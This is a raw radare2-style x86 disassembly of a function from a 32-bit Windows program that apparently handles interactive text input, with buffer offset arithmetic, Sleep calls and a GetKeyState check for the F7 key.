mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x168], eax
jmp 0x42f210
cmp dword [ebp - 0x170], 0
jne 0x42f134
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x5c]
jne 0x42f0b2
mov edx, dword [ebp - 0x3c]
sub edx, dword [ebp - 0x80]
mov dword [ebp - 0x164], edx
jmp 0x42f12f
push 0
lea eax, [ebp - 0x168]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
sub ecx, dword [ebp - 0x168]
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x42f103
mov edx, dword [ebp - 0x168]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
sub eax, 1
mov dword [ebp - 0x164], eax
mov ecx, dword [ebp - 0x168]
add ecx, 1
mov dword [ebp - 0x168], ecx
jmp 0x42f12f
mov edx, dword [ebp - 0x168]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
mov dword [ebp - 0x164], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
cmp dword [ebp - 0x168], ecx
jne 0x42f12f
mov dword [ebp - 0x168], 0xffffff22
jmp 0x42f210
cmp dword [ebp - 0x170], 2
jne 0x42f1c4
push 0
lea edx, [ebp - 0x168]
push edx
call fcn.00402356
add esp, 8
mov eax, dword [ebp - 0x168]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x164], ecx
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x14]
cmp dword [ebp - 0x168], eax
jg 0x42f185
cmp dword [ebp - 0x164], 0
jg 0x42f196
mov edx, dword [ebp - 0x168]
sub edx, 1
mov dword [ebp - 0x168], edx
jmp 0x42f1aa
mov eax, dword [ebp - 0x168]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
mov dword [ebp - 0x164], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x168], edx
jne 0x42f1c2
mov dword [ebp - 0x168], 0xffffff22
jmp 0x42f210
cmp dword [ebp - 0x170], 3
jne 0x42f204
push 0
lea eax, [ebp - 0x168]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0x164], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x168], edx
jne 0x42f202
mov dword [ebp - 0x168], 0xffffff22
jmp 0x42f210
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0
jge 0x42f223
mov dword [ebp - 0x164], 0
mov ecx, dword [ebp - 0x164]
add ecx, dword [ebp - 0x80]
mov dword [ebp - 0x16c], ecx
mov edx, dword [ebp - 0x16c]
cmp edx, dword [ebp - 0x5c]
jle 0x42f246
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x16c], eax
mov ecx, dword [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401096
add esp, 8
cmp dword [ebp - 0x170], 4
jne 0x42f283
mov eax, dword [ebp - 0x16c]
sub eax, dword [ebp - 0x164]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x164]
push ecx
call fcn.00401cdf
add esp, 8
jmp 0x42f2c8
cmp dword [ebp - 0x170], 2
jne 0x42f298
movsx edx, byte [ebp - 0x49]
mov dword [ebp - 0x1cc], edx
jmp 0x42f2a2
mov dword [ebp - 0x1cc], 0
mov al, byte [ebp - 0x1cc]
push eax
mov ecx, dword [ebp - 0x16c]
sub ecx, dword [ebp - 0x164]
push ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x164]
push edx
call fcn.004021a3
add esp, 0xc
cmp dword [ebp - 0x168], 0xffffff22
je 0x42f2ea
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0x168]
push ecx
call fcn.00401096
add esp, 8
mov dword [ebp - 0x54], 0
cmp dword [ebp - 0x78], 0
je 0x42f5fe
mov edx, dword [ebp - 0x38]
add edx, dword [ebp - 0x78]
mov dword [ebp - 0x38], edx
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.00402658
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
call fcn.004026da
add esp, 4
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00401cad
add esp, 4
test eax, eax
jne 0x42f5f7
lea edx, [ebp - 0x88]
push edx
lea eax, [ebp - 0x14]
push eax
call fcn.00402356
add esp, 8
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], 0xffffff22
mov dword [ebp - 0x180], 3
cmp dword [ebp - 0x180], 0xffffffff
je 0x42f385
cmp dword [ebp - 0x180], 4
jne 0x42f39c
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x174], ecx
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x178], edx
jmp 0x42f51d
cmp dword [ebp - 0x180], 0
jne 0x42f441
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x5c]
jne 0x42f3bf
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0x174], ecx
jmp 0x42f43c
push 0
lea edx, [ebp - 0x178]
push edx
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
sub ecx, dword [ebp - 0x178]
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x42f410
mov edx, dword [ebp - 0x178]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
sub eax, 1
mov dword [ebp - 0x174], eax
mov ecx, dword [ebp - 0x178]
add ecx, 1
mov dword [ebp - 0x178], ecx
jmp 0x42f43c
mov edx, dword [ebp - 0x178]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
mov dword [ebp - 0x174], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
cmp dword [ebp - 0x178], ecx
jne 0x42f43c
mov dword [ebp - 0x178], 0xffffff22
jmp 0x42f51d
cmp dword [ebp - 0x180], 2
jne 0x42f4d1
push 0
lea edx, [ebp - 0x178]
push edx
call fcn.00402356
add esp, 8
mov eax, dword [ebp - 0x178]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x174], ecx
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x14]
cmp dword [ebp - 0x178], eax
jg 0x42f492
cmp dword [ebp - 0x174], 0
jg 0x42f4a3
mov edx, dword [ebp - 0x178]
sub edx, 1
mov dword [ebp - 0x178], edx
jmp 0x42f4b7
mov eax, dword [ebp - 0x178]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
mov dword [ebp - 0x174], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x178], edx
jne 0x42f4cf
mov dword [ebp - 0x178], 0xffffff22
jmp 0x42f51d
cmp dword [ebp - 0x180], 3
jne 0x42f511
push 0
lea eax, [ebp - 0x178]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0x174], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x178], edx
jne 0x42f50f
mov dword [ebp - 0x178], 0xffffff22
jmp 0x42f51d
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0
jge 0x42f530
mov dword [ebp - 0x174], 0
mov ecx, dword [ebp - 0x174]
add ecx, dword [ebp - 0x80]
mov dword [ebp - 0x17c], ecx
mov edx, dword [ebp - 0x17c]
cmp edx, dword [ebp - 0x5c]
jle 0x42f553
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x17c], eax
mov ecx, dword [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401096
add esp, 8
cmp dword [ebp - 0x180], 4
jne 0x42f590
mov eax, dword [ebp - 0x17c]
sub eax, dword [ebp - 0x174]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x174]
push ecx
call fcn.00401cdf
add esp, 8
jmp 0x42f5d5
cmp dword [ebp - 0x180], 2
jne 0x42f5a5
movsx edx, byte [ebp - 0x49]
mov dword [ebp - 0x1d0], edx
jmp 0x42f5af
mov dword [ebp - 0x1d0], 0
mov al, byte [ebp - 0x1d0]
push eax
mov ecx, dword [ebp - 0x17c]
sub ecx, dword [ebp - 0x174]
push ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x174]
push edx
call fcn.004021a3
add esp, 0xc
cmp dword [ebp - 0x178], 0xffffff22
je 0x42f5f7
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0x178]
push ecx
call fcn.00401096
add esp, 8
mov dword [ebp - 0x78], 0
cmp dword [ebp - 0x24], 0
je 0x42f910
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0x38]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00402658
add esp, 0xc
mov edx, dword [ebp + 0xc]
push edx
call fcn.004026da
add esp, 4
mov eax, dword [ebp + 0xc]
push eax
call fcn.00401cad
add esp, 4
test eax, eax
jne 0x42f909
lea ecx, [ebp - 0x88]
push ecx
lea edx, [ebp - 0x14]
push edx
call fcn.00402356
add esp, 8
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x18c], 0
mov dword [ebp - 0x188], 0xffffff22
mov dword [ebp - 0x190], 3
cmp dword [ebp - 0x190], 0xffffffff
je 0x42f697
cmp dword [ebp - 0x190], 4
jne 0x42f6ae
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x184], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x188], ecx
jmp 0x42f82f
cmp dword [ebp - 0x190], 0
jne 0x42f753
mov edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x5c]
jne 0x42f6d1
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0x184], eax
jmp 0x42f74e
push 0
lea ecx, [ebp - 0x188]
push ecx
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
sub ecx, dword [ebp - 0x188]
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
cmp ecx, eax
jl 0x42f722
mov edx, dword [ebp - 0x188]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
sub eax, 1
mov dword [ebp - 0x184], eax
mov ecx, dword [ebp - 0x188]
add ecx, 1
mov dword [ebp - 0x188], ecx
jmp 0x42f74e
mov edx, dword [ebp - 0x188]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x3c]
sub eax, edx
mov dword [ebp - 0x184], eax
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x80]
cmp dword [ebp - 0x188], ecx
jne 0x42f74e
mov dword [ebp - 0x188], 0xffffff22
jmp 0x42f82f
cmp dword [ebp - 0x190], 2
jne 0x42f7e3
push 0
lea edx, [ebp - 0x188]
push edx
call fcn.00402356
add esp, 8
mov eax, dword [ebp - 0x188]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
add ecx, 1
mov dword [ebp - 0x184], ecx
mov eax, dword [ebp - 0x80]
cdq
sub eax, edx
sar eax, 1
add eax, dword [ebp - 0x14]
cmp dword [ebp - 0x188], eax
jg 0x42f7a4
cmp dword [ebp - 0x184], 0
jg 0x42f7b5
mov edx, dword [ebp - 0x188]
sub edx, 1
mov dword [ebp - 0x188], edx
jmp 0x42f7c9
mov eax, dword [ebp - 0x188]
sub eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x188], edx
jne 0x42f7e1
mov dword [ebp - 0x188], 0xffffff22
jmp 0x42f82f
cmp dword [ebp - 0x190], 3
jne 0x42f823
push 0
lea eax, [ebp - 0x188]
push eax
call fcn.00402356
add esp, 8
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x80]
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x80]
cmp dword [ebp - 0x188], edx
jne 0x42f821
mov dword [ebp - 0x188], 0xffffff22
jmp 0x42f82f
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x80]
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0
jge 0x42f842
mov dword [ebp - 0x184], 0
mov ecx, dword [ebp - 0x184]
add ecx, dword [ebp - 0x80]
mov dword [ebp - 0x18c], ecx
mov edx, dword [ebp - 0x18c]
cmp edx, dword [ebp - 0x5c]
jle 0x42f865
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x18c], eax
mov ecx, dword [ebp - 0x88]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00401096
add esp, 8
cmp dword [ebp - 0x190], 4
jne 0x42f8a2
mov eax, dword [ebp - 0x18c]
sub eax, dword [ebp - 0x184]
push eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x184]
push ecx
call fcn.00401cdf
add esp, 8
jmp 0x42f8e7
cmp dword [ebp - 0x190], 2
jne 0x42f8b7
movsx edx, byte [ebp - 0x49]
mov dword [ebp - 0x1d4], edx
jmp 0x42f8c1
mov dword [ebp - 0x1d4], 0
mov al, byte [ebp - 0x1d4]
push eax
mov ecx, dword [ebp - 0x18c]
sub ecx, dword [ebp - 0x184]
push ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x184]
push edx
call fcn.004021a3
add esp, 0xc
cmp dword [ebp - 0x188], 0xffffff22
je 0x42f909
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0x188]
push ecx
call fcn.00401096
add esp, 8
mov dword [ebp - 0x24], 0
call fcn.004031ca
test eax, eax
je 0x42f929
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00401b4a
push 0
mov edx, dword [ebp + 0xc]
push edx
call fcn.00402bc6
add esp, 8
cmp dword [ebp - 0x70], 0
jbe 0x42f9b4
call fcn.0040323d
sub eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x70]
jbe 0x42f9b4
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x5c]
mov byte [eax], 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.00401389
add esp, 4
test eax, eax
jne 0x42f99f
cmp dword [ebp + 0xc], 0
je 0x42f99f
mov dword [0x7057c4], 1
mov edx, dword [ebp + 0xc]
push edx
call fcn.00401438
add esp, 4
mov dword [0x64e39c], eax
mov eax, dword [ebp - 0x18]
mov dword [0x64e3a0], eax
push 0x50
mov ecx, dword [ebp + 8]
push ecx
push 0x705710
call fcn.00402725
add esp, 0xc
push 1
mov edx, dword [ebp + 0xc]
push edx
call fcn.00402bc6
add esp, 8
mov eax, 0x92
jmp 0x42f9f5
push 0x76
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
jne 0x42f9da
mov dword [0x7057bc], 0
mov dword [0x7057b8], 0
push 0x19
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x42c2e6
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x5c]
mov byte [ecx], 0
mov eax, 0xd
mov esp, ebp
pop ebp
ret